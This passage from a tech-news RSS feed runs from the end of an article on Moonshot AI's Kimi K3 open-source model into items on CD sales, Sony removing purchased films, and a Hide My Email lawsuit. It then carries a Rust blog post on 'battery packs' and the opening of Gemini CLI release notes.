retrieval capabilities, may be more powerful than elaborate multi-agent workarounds.</p><p>As <a href="https://x.com/kimmonismus/status/2077818040578695175">one widely followed AI commentator</a> put it on social media: "Open source is no longer lagging six months behind Western closed-source models. Read that again, and think about what it all means."</p><p>That observation captures the significance of the moment. For much of the past three years, open-source models have typically trailed their proprietary counterparts by a meaningful margin. Kimi K3 appears to have closed that gap almost entirely.</p><h2><b>How a 48-hour autonomous chip design demo reveals Moonshot's real ambitions</b></h2><p>Beyond raw benchmarks, <a href="https://www.moonshot.ai/">Moonshot AI</a> showcased a proof-of-concept that may be even more revealing of K3's capabilities and the company's strategic direction.</p><p>In a demonstration documented in the company's technical materials, <a href="https://platform.kimi.ai/docs/guide/kimi-k3-quickstart">Kimi K3</a> was tasked with designing a physical chip to run a nano-scale version of itself. Over 48 hours of continuous autonomous agent operation, K3 independently completed the chip's full construction pipeline — from architectural design through optimization and verification — using open-source electronic design automation tools. The result was a tiny but functional chip design, just 4 square millimeters, that achieved timing convergence at 100 MHz and could decode more than 8,700 tokens per second in simulation.</p><p>This is not a production chip. It is a demonstration of what <a href="https://www.moonshot.ai/">Moonshot AI</a> clearly views as the next competitive frontier: long-range autonomous agent capabilities. The ability to sustain coherent, multi-step technical work over a 48-hour window — reading documentation, making design decisions, running verification loops, and iterating on failures — represents a qualitative leap beyond the kind of single-turn question-answering that defined the first generation of large language models.</p><p>The company also highlighted a case in computational astrophysics, where K3 reportedly reproduced the universal <a href="https://inspirehep.net/literature/1220233">I-Love-Q relation</a> — a complex calculation that typically takes a senior researcher one to two weeks — in approximately two hours, reading and cross-validating more than 20 papers and implementing a complete numerical pipeline along the way.</p><h2><b>Moonshot AI's fall and rise tells the story of China's brutal AI market</b></h2><p>To understand why <a href="https://platform.kimi.ai/docs/guide/kimi-k3-quickstart">Kimi K3</a> matters, you need to understand where Moonshot AI was 18 months ago — and how far it fell.</p><p>Founded in 2023 by <a href="https://kimiyoung.github.io/">Yang Zhilin</a>, a Tsinghua University graduate who previously conducted research at Google and Meta, Moonshot AI quickly became one of China's most prominent AI startups. The company gained early traction in 2024 when users flocked to its <a href="http://kimi.ai/">Kimi platform</a> for its long-text analysis capabilities and AI search functions. By early 2026, it had raised roughly <a href="https://www.forbes.com/sites/the-prompt/2026/07/15/ai-startup-reflection-compute-deal-to-challenge-chinas-open-source-dominance/">$1.5 billion</a> across multiple rounds, with its valuation climbing from $2.5 billion to $4.3 billion and the company reportedly <a href="https://tech.yahoo.com/ai/gemini/articles/china-moonshot-releases-open-source-141110760.html">seeking a new round at $5 billion</a>.</p><p>Then DeepSeek happened. The release of DeepSeek's low-cost R1 model in January 2025 disrupted the entire Chinese AI landscape, and Moonshot AI was among the hardest hit. Kimi, which had ranked third in monthly active users in China, slid to seventh. The company's strategic pivot to open-source models — beginning with Kimi K2 in July 2025 and accelerating with K2.5 in January 2026 — was in large part an effort to reclaim relevance.</p><p><a href="https://platform.kimi.ai/docs/guide/kimi-k3-quickstart">Kimi K3</a> is the culmination of that effort — and the sheer scale of the model suggests that Moonshot AI has been planning this move for some time. Training a 2.8-trillion-parameter model requires enormous computational resources and months of preparation, which means the architectural and infrastructure decisions behind K3 were likely locked in well before the model reached the public.</p><h2><b>Why open-sourcing the world's biggest model is a geopolitical chess move</b></h2><p>The decision to release K3's full weights on July 27 is strategically significant and worth parsing carefully.</p><p>The company's own timeline chart of open-source frontier model scale positions K3 as a dramatic outlier, towering above competitors like <a href="https://github.com/deepseek-ai">DeepSeek</a> (1.6T), <a href="https://github.com/xiaomi">Xiaomi</a> (1.02T), and <a href="https://github.com/ALIBABA">Alibaba</a> (397B). By releasing the world's largest open-source model, Moonshot AI is making a bid to become the center of gravity for the global open-source AI developer community.</p><p>This follows a broader trend among Chinese AI companies. As <a href="https://www.reuters.com/technology/artificial-intelligence/china-weighs-silicon-curtain-around-sought-after-ai-models-2026-07-08/">Reuters noted</a>, open-sourcing allows companies to "showcase their technological capabilities and expand developer communities as well as their global influence, a strategy likely to help China counter U.S. efforts to limit Beijing's tech progress." DeepSeek, Alibaba, Tencent, and Baidu have all released open-source models. But none have released anything at this parameter count.</p><p>For enterprise technology leaders, the implications are concrete. A 2.8-trillion-parameter open-source model that performs at near-frontier levels creates new options for companies that want to fine-tune, self-host, or build proprietary systems on top of a capable base model — without being locked into API contracts with OpenAI or Anthropic. The trade-off, of course, is that running a model of this size requires substantial GPU infrastructure. Inference at 2.8 trillion parameters is not something that runs on a single server rack.</p><p>That said, <a href="https://www.moonshot.ai/">Moonshot AI</a> has signaled awareness of this challenge. Its Mooncake project, which won the Best Paper award at FAST 2025, pioneered KV-cache-centric disaggregated serving for large language models — an architecture designed specifically to make inference at extreme scale more practical and cost-efficient.</p><h2><b>Kimi Code and a three-tier model lineup form the foundation of Moonshot's enterprise play</b></h2><p>Alongside K3, Moonshot AI continues to invest heavily in its coding agent ecosystem. <a href="https://github.com/MoonshotAI/kimi-code/releases">Kimi Code</a>, the company's open-source coding tool that competes with Anthropic's Claude Code and Google's Gemini CLI, received two major updates on the same day as K3's launch — versions 0.25.0 and 0.26.0 — adding features like expanded subagent tooling, background task management, and security fixes.</p><p>The <a href="https://github.com/MoonshotAI/kimi-cli">Kimi Code CLI</a> has accumulated over 3,100 stars on GitHub and features integration with VSCode, Cursor, and Zed. The latest release expanded the "coder subagent" tool set to include background tasks, todo lists, plan mode, skill invocation, and nested agents — effectively turning the coding agent into a multi-layered autonomous system capable of managing complex software engineering projects with minimal human intervention.</p><p>This is not incidental. Coding tools have become a critical revenue driver for AI labs. As Anthropic disclosed in January, <a href="https://www.anthropic.com/news/anthropic-acquires-bun-as-claude-code-reaches-usd1b-milestone">Claude Code reached $1 billion in annualized recurring revenue</a>. By building Kimi Code as an open-source alternative that defaults to Kimi's own models — but supports other providers — Moonshot AI is positioning itself to capture developer workflows and, eventually, enterprise contracts.</p><p>The company's model lineup now includes three tiers: <a href="https://platform.kimi.ai/docs/guide/kimi-k3-quickstart">K3</a> as the flagship ($3/$15 per million tokens for input/output), <a href="https://platform.kimi.ai/docs/guide/kimi-k2-7-code-quickstart">K2.7 Code</a> as a specialized coding model ($0.95/$4), and <a href="https://platform.kimi.ai/docs/guide/kimi-k2-6-quickstart">K2.6</a> as a general-purpose option ($0.95/$4). All three support context windows of 256,000 tokens or above, with K3 offering the full 1-million-token window. Context caching is automatic — no cache ID, TTL, or extra parameter is required — a small but meaningful developer-experience advantage over competitors that require explicit cache management.</p><h2><b>What Kimi K3 means for the future of enterprise AI and the global model landscape</b></h2><p>Kimi K3's release forces a recalibration of several assumptions that have guided enterprise AI strategy.</p><p>The performance gap between open-source and proprietary models has functionally closed at the frontier. If K3's benchmark numbers hold up under independent evaluation — and particularly once the open weights are available for community testing on July 27 — it will be difficult for closed-source providers to justify premium pricing purely on the basis of capability.</p><p>The locus of AI innovation, meanwhile, continues to shift. China's AI ecosystem, which many Western observers questioned after early struggles with chip export restrictions, has now produced a model that competes with the best systems from companies with direct access to Nvidia's most advanced hardware. The architectural innovations behind K3 — particularly the hybrid linear attention mechanism — suggest that algorithmic efficiency may matter as much as raw compute.</p><p>And the agentic capabilities demonstrated by K3 — chip design, multi-week research compression, long-horizon information seeking — point toward a future where AI models are not just answering questions but autonomously executing complex, multi-day projects. For enterprises evaluating AI investments, this shifts the value proposition from "productivity copilot" to "autonomous technical workforce."</p><p><a href="https://finance.sina.com.cn/stock/t/2026-07-17/doc-inihzrtu1375218.shtml?cref=cj">Xinhua</a>, China's state news agency, framed the release as a national milestone, reporting that K3 "marks a new step forward in the development of China's artificial intelligence models." Liu Tieyan, dean of the Zhongguancun Academy in Beijing, was quoted as saying that a wave of Chinese open-source models has moved from isolated breakthroughs to collective advancement, providing "new solutions and new paths" for global AI development.</p><p>Just two years ago, <a href="https://www.moonshot.ai/">Moonshot AI</a> was a scrappy startup named for the audacious problems it hoped to solve. Eighteen months ago, it was a cautionary tale about how quickly a market darling can lose its footing. Today, it is the maker of the world's largest open-source AI model — one that can, given 48 hours and an internet connection, design a chip to run itself. The frontier, it turns out, is not a place. It is a race. And the field just got a lot more crowded.</p><p>
</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Why are CD sales suddenly growing again?]]></title>
<description><![CDATA[CD sales are apparently going up, reportedly thanks to fans realizing they're an affordable way to support their favorite artists. According to a new report from research firm Luminate, 16.3 million CDs were sold in the first half of 2026 in the US, a 16 percent increase year-over-year. The growt...]]></description>
<link>https://tsecurity.de/de/3674544/it-nachrichten/why-are-cd-sales-suddenly-growing-again/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3674544/it-nachrichten/why-are-cd-sales-suddenly-growing-again/</guid>
<pubDate>Thu, 16 Jul 2026 22:01:23 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[CD sales are apparently going up, reportedly thanks to fans realizing they're an affordable way to support their favorite artists. According to a new report from research firm Luminate, 16.3 million CDs were sold in the first half of 2026 in the US, a 16 percent increase year-over-year. The growth in CD sales was driven […]]]></content:encoded>
</item>
<item>
<title><![CDATA[Sony Deletes More Movies From Accounts of People Who 'Bought' Them]]></title>
<description><![CDATA[An anonymous reader quotes a report from Techdirt: In 2022, due to "evolving licensing agreements" with distributor StudioCanal, German and Austrian users had hundreds of movies disappear from their PS accounts, long after buying them through Sony. Then in 2023, it happened again in America, spec...]]></description>
<link>https://tsecurity.de/de/3674484/it-security-nachrichten/sony-deletes-more-movies-from-accounts-of-people-who-bought-them/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3674484/it-security-nachrichten/sony-deletes-more-movies-from-accounts-of-people-who-bought-them/</guid>
<pubDate>Thu, 16 Jul 2026 21:23:12 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[An anonymous reader quotes a report from Techdirt: In 2022, due to "evolving licensing agreements" with distributor StudioCanal, German and Austrian users had hundreds of movies disappear from their PS accounts, long after buying them through Sony. Then in 2023, it happened again in America, specifically when Sony ended its licensing agreement with Discovery after the Warner Bros. merger, which, of course, has since been bought by Paramount Skydance. That resulted in customers having hundreds and hundreds of episodes of TV shows deleted from their accounts. Nowhere in any of this were there refunds, of course. No recompense at all, actually. Just a thing you thought you'd bought taken away from you by the very people you thought you bought it from.
 
And now it's happening again. Due to another licensing agreement fallout with StudioCanal, hundreds of movies and TV shows are being ripped from the accounts of PS Store customers, and there appears to be fuck all that they can do about it. [Kotaku reports:] "This news was brought to people's attention by X user somatyk, who posted the notification they had received from PlayStation this week. Along with the unapologetic news that the purchased movies would be deleted from their account on September 1, the message concluded with, 'Click here for a full list of affected titles that will no longer be supported. Thank you.' The same warning is now reproduced in full on the PlayStation website, along with the list of 551 films and TV series that are being pulled from people's libraries."
 
As Kotaku notes later in their post, part of what is striking in all of this is the sheer mundanity of the announcement. Because there have been no consequences, or any action at all from the public or government, Sony treats this all as if it's perfectly normal and no big deal. You can tell me all you want about how the Ts and Cs in these purchases do in fact note that the nature of the purchase is a temporary licensing of the content for an undetermined time period... but I can promise you that the public in general doesn't understand that. They think they're buying a thing, not a license.<p></p><div class="share_submission">
<a class="slashpop" href="http://twitter.com/home?status=Sony+Deletes+More+Movies+From+Accounts+of+People+Who+'Bought'+Them%3A+https%3A%2F%2Fentertainment.slashdot.org%2Fstory%2F26%2F07%2F16%2F1825241%2F%3Futm_source%3Dtwitter%26utm_medium%3Dtwitter"><img src="https://a.fsdn.com/sd/twitter_icon_large.png"></a>
<a class="slashpop" href="http://www.facebook.com/sharer.php?u=https%3A%2F%2Fentertainment.slashdot.org%2Fstory%2F26%2F07%2F16%2F1825241%2Fsony-deletes-more-movies-from-accounts-of-people-who-bought-them%3Futm_source%3Dslashdot%26utm_medium%3Dfacebook"><img src="https://a.fsdn.com/sd/facebook_icon_large.png"></a>



</div><p><a href="https://entertainment.slashdot.org/story/26/07/16/1825241/sony-deletes-more-movies-from-accounts-of-people-who-bought-them?utm_source=rss1.0moreanon&amp;utm_medium=feed">Read more of this story</a> at Slashdot.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Hide My Email class action lawsuit seeks payout without evidence of any attacks]]></title>
<description><![CDATA[A proposed class action is trying to turn Apple's unresolved Hide My Email flaw into a nationwide payout without alleging that the vulnerability was used in an attack or that the plaintiff's email address was exposed.Apple's Hide My Email serviceAnthony Alvarez filed the lawsuit against Apple on ...]]></description>
<link>https://tsecurity.de/de/3674409/ios-mac-os/hide-my-email-class-action-lawsuit-seeks-payout-without-evidence-of-any-attacks/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3674409/ios-mac-os/hide-my-email-class-action-lawsuit-seeks-payout-without-evidence-of-any-attacks/</guid>
<pubDate>Thu, 16 Jul 2026 20:39:27 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A proposed class action is trying to turn Apple's unresolved Hide My Email flaw into a nationwide payout without alleging that the vulnerability was used in an attack or that the plaintiff's email address was exposed.<br><br><div><img src="https://photos5.appleinsider.com/gallery/68269-143900-967A61C1-FA5C-4CF0-9182-D26130A192AD-xl.jpg" alt="iPhone screen on Hide my email setup page, showing a generated iCloud email address, a text field labeled Test being edited, and part of the keyboard, resting on brown leather surface" height="738"><span>Apple's Hide My Email service</span></div><br>Anthony Alvarez filed the lawsuit against Apple on July 15 in the U.S. District Court for the Northern District of California. The complaint accuses the company of false advertising, fraud, breach of contract, and other violations tied to its marketing of Hide My Email.<br><br>The filing argues that Apple sold customers privacy it couldn't provide. The claims cover the full version included with paid <a href="https://appleinsider.com/inside/icloud" title="iCloud" data-kpt="1">iCloud</a>+ plans and the more limited relay addresses generated through Sign in with Apple.<br><br>Alvarez seeks to represent four proposed classes covering U.S. Apple customers, including two California subclasses. The lawsuit seeks damages and an order requiring Apple to fix Hide My Email or clearly disclose its limitations.<br><br><br> <a href="https://appleinsider.com/articles/26/07/16/hide-my-email-class-action-lawsuit-seeks-payout-without-evidence-of-any-attacks?utm_source=rss">Continue Reading on AppleInsider</a> | <a href="https://forums.appleinsider.com/discussion/244975?urm_source=rss">Discuss on our Forums</a>]]></content:encoded>
</item>
<item>
<title><![CDATA[Niko Matsakis: Battery packs: Let's talk about crates, baby]]></title>
<description><![CDATA[This blog post describes an idea I’ve been kicking around called battery packs. Battery packs are a curated set of crates arranged around a common theme. For example, there’s a CLI battery pack that has everything you need to build a great CLI, an opinionated pack for creating a backend web servi...]]></description>
<link>https://tsecurity.de/de/3674266/tools/niko-matsakis-battery-packs-lets-talk-about-crates-baby/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3674266/tools/niko-matsakis-battery-packs-lets-talk-about-crates-baby/</guid>
<pubDate>Thu, 16 Jul 2026 19:24:07 +0200</pubDate>
<category>💾  Tools</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<img alt="Battery pack logo" class="float-right" src="https://smallcultfollowing.com/babysteps/%20/assets/2026-07-15-battery-packs.png">
<p>This blog post describes an idea I’ve been kicking around called <strong>battery packs</strong>. Battery packs are a curated set of crates arranged around a common theme. For example, there’s a CLI battery pack that has <a href="https://crates.io/crates/cli-battery-pack">everything you need to build a great CLI</a>, an opinionated pack for <a href="https://crates.io/crates/backend-service-battery-pack">creating a backend web service</a>, and <a href="https://crates.io/crates/embedded-battery-pack">one for embedded development</a> (based on the Embedded Working Group’s <a href="https://github.com/rust-embedded/awesome-embedded-rust">Awesome Rust repository</a>). We’ve also got some smaller ones, such as the <a href="https://crates.io/crates/error-battery-pack">error-handling battery pack</a> that shows how to handle errors in Rust. But this is just the beginning – a key part of the battery pack design is that anybody can create one.</p>
<p>Battery packs are meant to address one of the most common things I hear from new Rust adopters. Everyone loves the wealth of high-quality crates available on crates.io. And everyone hates having to spend a bunch of time researching and comparing alternatives. Battery packs can serve as a good set of default choices. And they don’t lock you in. At heart, they’re basically just a list of recommended crates, so you can always swap something out if you find an alternative.</p>

<p>We’ve got a prototype of the battery pack tool working today, so you can try it out if you’re curious. Just run <code>cargo install cargo-bp</code> and then try a few commands! For example,</p>
<div class="highlight"><pre class="chroma" tabindex="0"><code class="language-bash"><span class="line"><span class="cl">&gt; cargo bp list
</span></span></code></pre></div><p>will show you the set of available battery packs, based on a crates.io search (as I’ll explain below, a battery pack is itself packaged and distributed as a crate, but not one that you take a direct dependency on). And <code>cargo bp add</code> will add batteries from a battery pack into your crate, so e.g.</p>
<div class="highlight"><pre class="chroma" tabindex="0"><code class="language-bash"><span class="line"><span class="cl">&gt; cargo bp add cli
</span></span></code></pre></div><p>would let you select and add common CLI libraries. If you want to see a more involved demo, try out <code>cargo bp add embedded</code>, which is derived from the <a href="https://github.com/rust-embedded/awesome-embedded-rust">Awesome Embedded Rust</a> repository.</p>
<h3>Let’s talk about you and me</h3>
<p>One of the key ideas from battery packs is that <strong>anybody can publish one</strong>. They are just a crate named <code>X-battery-pack</code>; the dependencies of that crate are your recommendations. Features are designations of common sets of crates frequently used together. The examples are your templates. And so forth.</p>
<p>Letting anybody create a battery pack is in contrast to the previous ideas for an “extended standard library for Rust”<sup><a class="footnote-ref" href="https://smallcultfollowing.com/babysteps/atom.xml#fn:1">1</a></sup>, and it is intended to address some of Rust’s unique challenges. For one thing, it lets people publish battery packs that are tailored to specific requirements. For example, the <a href="https://crates.io/crates/cli-battery-pack">CLI</a> and <a href="https://crates.io/crates/backend-service-battery-pack">backend service</a> battery packs are targeting a “typical computer”. But I could imagine the <a href="https://rust-embedded.org/">Rust embedded working group</a> publishing a battery pack with libraries focused on no-std and binary size optimization.</p>
<p>Being open-ended also addresses the <em>“who decides?”</em> question. To my mind, the best people to recommend what libraries you ought to use are <strong>other people building systems like yours</strong>. This is why I mentioned the Embedded Working Group publishing an Embedded battery pack, for example, as I think they are clearly a set of people who know their space well. But even within the embedded space there are yet smaller groups, and I imagine that sometimes it’ll make sense to get narrower. For example, perhaps a battery pack targeted <a href="https://embassy.dev/">embassy</a> and its associated ecosystem? Unclear.</p>
<h4>Creating a battery pack</h4>
<p>If you wanted to create a battery pack, how do you do it? One answer is that you just create a new crate. But a better approach is to use the “battery-pack battery pack”<sup><a class="footnote-ref" href="https://smallcultfollowing.com/babysteps/atom.xml#fn:2">2</a></sup>, which bundles a template:</p>
<div class="highlight"><pre class="chroma" tabindex="0"><code class="language-bash"><span class="line"><span class="cl">cargo bp new battery-pack
</span></span></code></pre></div><p>This will prompt you for the name of the battery pack you want to create and a few other things and make your crate. Then you can just use <code>cargo add</code> dependencies to represent the libraries you want to recommend and publish.</p>
<h4>“Batteries” are more than dependencies</h4>
<p>The “batteries” that you can add to your project aren’t always dependencies. They can also be “recipes” or templates. For example, the CI battery pack<sup><a class="footnote-ref" href="https://smallcultfollowing.com/babysteps/atom.xml#fn:3">3</a></sup> can configure your project with the kind of “super neat-o” github actions you’ve always wanted but never wanted to bother configuring. To use it, select one or more of the templates to install:</p>
<div class="highlight"><pre class="chroma" tabindex="0"><code class="language-bash"><span class="line"><span class="cl">cargo bp add ci
</span></span></code></pre></div><p>I expect this kind of “actions to improve your crate” to become a rich source of things. Right now we’re using a relatively lightweight template system built on <a href="https://github.com/mitsuhiko/minijinja">minijinja</a>, but I think we’re going to want to expand on this.</p>
<h4>Giving it some structure</h4>
<p>Battery Packs also support more than just a flat listing of dependencies/features/templates. You can group dependencies and features into <em>categories</em> and then, for each category, distinguish between “pick at most one” or “pick any number”. For a fun example, try <code>cargo bp add embedded</code>, which is derived from the <a href="https://github.com/rust-embedded/awesome-embedded-rust">Awesome Embedded Rust</a> repository. If you run it, you’ll see something like this, which groups the choices thematically and, in some areas like “concurrency framework”, makes it clear that you want to pick one:</p>
<pre tabindex="0"><code>──────────────────────────────────────────────────────────────────
 ▼ Concurrency Framework (pick at most one)
 &gt; ○ ✦ embassy [embassy-executor, embassy-sync, embassy-time]
   ○ ✦ rtic [cortex-m, rtic]    RTIC — interrupt-driven real-time

 ▼ Display &amp; Graphics (pick any number)
   [ ] ✦ display-ssd1306 [embedded-graphics, ssd1306]    SSD1306
   [ ] ✦ display-st7789 [embedded-graphics, st7789]    ST7789 col

 ▼ Popular Drivers (pick any number)
   [ ] ✦ display-ssd1306 [embedded-graphics, ssd1306]    SSD1306
   [ ] ✦ display-st7789 [embedded-graphics, st7789]    ST7789 col
   [ ] ✦ sensor-bme280 [bme280]    BME280 temperature/humidity/pr
   [ ] ✦ sensor-lis3dh [lis3dh]    LIS3DH 3-axis accelerometer (I
   [ ] ✦ usb-device [usb-device, usbd-serial]    USB device stack

 ▼ Hardware Abstraction Layer (pick at most one)
   ○ ✦ atsamd [atsamd-hal, cortex-m-rt, critical-section-impl, co
   ○ ✦ esp32 [embedded-hal, esp-hal]    ESP32 (Xtensa, WiFi + BT,
   ○ ✦ esp32c3 [embedded-hal, esp-hal]    ESP32-C3 (RISC-V, WiFi
   ○ ✦ esp32s3 [embedded-hal, esp-hal]    ESP32-S3 (Xtensa, WiFi
   ○ ✦ nrf52832 [cortex-m-rt, critical-section-impl, cortex-m, em
   ○ ✦ nrf52840 [cortex-m-rt, critical-section-impl, cortex-m, em
   ○ ✦ nrf9160 [cortex-m-rt, critical-section-impl, cortex-m, emb
   ○ ✦ rp2040 [cortex-m-rt, critical-section-impl, cortex-m, embe
   ○ ✦ stm32f0 [cortex-m-rt, critical-section-impl, cortex-m, emb
 embedded-battery-pack v0.1.0  ↑↓/jk Navigate | Space Toggle | ←/→
</code></pre><h3>Let’s talk about all the good things…</h3>
<p>So why am I so keen on battery packs? It’s largely because I’ve heard so many would-be or recent Rust adopters talk about picking crates as a challenge. But I feel they would help with some other problems as well.</p>
<p>What I really want to see is working groups in the <a href="https://rustfoundation.org/rust-commercial-network/">Rust Commercial Network</a> banding together to publish battery packs and recommendations. These would cover the dependencies that they’re actually using.</p>
<h4>Supporting maintainers</h4>
<p>One of the reasons I want to have RCN-recognized battery packs is that they are a natural focal point to then prompt RCN members to fund the maintenance of those crates. I am imagining that for each sponsored battery pack vended within the RCN, there is an associated “ecosystem fund”. Companies or individuals could sponsor this fund to get access to early patches, security disclosures, etc or other perks. The money would be used to support the maintainers of those crates, to implement missing features, and so forth.</p>
<h4>Fostering interoperability</h4>
<p>Another value-add from battery packs is the ability to drive interop efforts. I think that as soon as we start talking about standardizing, we’re also going to recognize that there are some places where standardization is hard. For example, early conversations within the <a href="https://rust-commercial-network.github.io/rcn/network-services-wg.html">network service working group</a> (unsurprisingly) immediately identified that while most people are using <a href="https://tokio.rs/">tokio</a>, some major companies are using their own runtimes internally. It’s not like the need for “async runtime interop” is <a href="https://rust-lang.github.io/wg-async/vision/submitted_stories/status_quo/barbara_wishes_for_easy_runtime_switch.html">news</a>. But right now, every crate winds up effectively implementing their own set of little traits to make it work. Sponsored battery packs offer the possibility of a neutral home for that sort of thing.</p>
<h3>…and the bad things that could be</h3>
<p>There are some risks to people using battery packs. The most obvious is that the fact that anybody can publish a battery pack may mean that you just get a ton of battery packs, which doesn’t really help anybody! I’m not so worried about this because I think that there will be a few obvious places that most people go first, and then I think once people are oriented, they’ll get excited to explore what crates.io has to offer and start discovering more niche battery packs.</p>
<h4>Avoiding stagnation</h4>
<p>Battery packs are designed to evolve. I’ve seen it happen a number of times that there is a dominant crate for something, often taking a “traditional approach”, but then somebody else comes along and presents an interesting alternative that gradually takes off. I love that and I don’t want to put it at risk.</p>
<p>One example of evolution around CLI argument parsing. For a time, <a href="https://crates.io/crates/docopt">docopt</a> was a popular way to parse command-line options. Then <a href="https://crates.io/crates/clap">clap</a> came along and presented a more structured alternative; that was nice, but then structopt came along and connected clap to an auto-derive, so you could just write your data structure and be done. And <em>that</em> was awesome. (That is now the standard in clap.) I want to be sure that, even if there is a CLI battery pack, there’s room for the next clap to come along.</p>
<p>There are a few things about battery pack that I think will help us deal with this. First, they are a “thin abstraction”. You don’t “depend on” a battery pack, you depend on the crates within it. So if a new version comes out that uses clap instead of docopt, that doesn’t impact you at all. Your code keeps working same as it ever did. And of course it helps that <em>anybody</em> can publish a battery pack. You can now have variations on battery packs that are focused around a new approach to help it get started.</p>
<p>Done right, I think that standardized battery packs can also <em>help</em> the ecosystem evolve and pivot. As it is now, knowledge of new crates has to spread by word-of-mouth. But if everybody is aligned around a new approach, adopting that new approach within a battery packs sends a clear signal that your group is aligned that something is the new hotness.</p>
<h3>…Let’s talk about crates<sup><a class="footnote-ref" href="https://smallcultfollowing.com/babysteps/atom.xml#fn:4">4</a></sup></h3>
<h4>“Always bet on the ecosystem”</h4>
<p>I see <strong>always bet on the ecosystem</strong> as a key Rust design axiom. It’s the reason we chose a small standard library and a package manager in the first place. It’s also why battery packs are designed to be published by anyone.</p>
<p>But just like plants sometimes need a trellis to grow taller, any successful ecosystem reaches a point where it needs another layer of structure to help it keep growing. Without that, you have this “layer of tacic knowledge” (in <a href="https://blog.rust-lang.org/2025/12/19/what-do-people-love-about-rust/#example-the-wealth-of-crates-on-crates-io-are-a-key-enabler-but-can-be-an-obstacle">the words of a Rust Vision Doc interviewee</a>) that becomes an obstacle for folks. And I think we’ve reached that point with <code>crates.io</code>.</p>
<p>I am hopeful that battery packs can provide that next layer of structure. But at the end of the day, if there’s a better approach, that’s fine too, so long as we find a way to help people find (<em>and fund!</em>) the crates they need. So let’s talk about it!</p>
<div class="footnotes">
<hr>
<ol>
<li>
<p>My first recollection of it was the <a href="https://internals.rust-lang.org/t/proposal-the-rust-platform/3745">Rust Platform</a> idea we floated in 2016! <a class="footnote-backref" href="https://smallcultfollowing.com/babysteps/atom.xml#fnref:1">↩︎</a></p>
</li>
<li>
<p>Yo dawg… <a class="footnote-backref" href="https://smallcultfollowing.com/babysteps/atom.xml#fnref:2">↩︎</a></p>
</li>
<li>
<p>Hat tip to Jess Izen, who proposed and developed the CI battery pack. Neat idea. <a class="footnote-backref" href="https://smallcultfollowing.com/babysteps/atom.xml#fnref:3">↩︎</a></p>
</li>
<li>
<p>Oh, and: my apologies to <a href="https://en.wikipedia.org/wiki/Let's_Talk_About_Sex">Salt-N-Peppa</a>. <a class="footnote-backref" href="https://smallcultfollowing.com/babysteps/atom.xml#fnref:4">↩︎</a></p>
</li>
</ol>
</div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Release v0.52.0-preview.0]]></title>
<description><![CDATA[What's Changed

Refactor: exclude transient CI configuration files from workspace context by @DavidAPierce in #28216
feat(caretaker-triage): add triage worker core foundational modules by @chadd28 in #28163
feat(caretaker-egress): implement octokit github action handler for egress service by @cha...]]></description>
<link>https://tsecurity.de/de/3674254/downloads/release-v0520-preview0/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3674254/downloads/release-v0520-preview0/</guid>
<pubDate>Thu, 16 Jul 2026 19:16:58 +0200</pubDate>
<category>💾 Downloads</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h2>What's Changed</h2>
<ul>
<li>Refactor: exclude transient CI configuration files from workspace context by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/DavidAPierce/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/DavidAPierce">@DavidAPierce</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4771753114" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/28216" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/28216/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/28216">#28216</a></li>
<li>feat(caretaker-triage): add triage worker core foundational modules by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/chadd28/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/chadd28">@chadd28</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4753861958" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/28163" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/28163/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/28163">#28163</a></li>
<li>feat(caretaker-egress): implement octokit github action handler for egress service by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/chadd28/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/chadd28">@chadd28</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4830419267" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/28303" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/28303/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/28303">#28303</a></li>
<li>chore(release): bump version to 0.52.0-nightly.20260707.g27a3da3e8 by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/gemini-cli-robot/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/gemini-cli-robot">@gemini-cli-robot</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4840274631" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/28323" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/28323/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/28323">#28323</a></li>
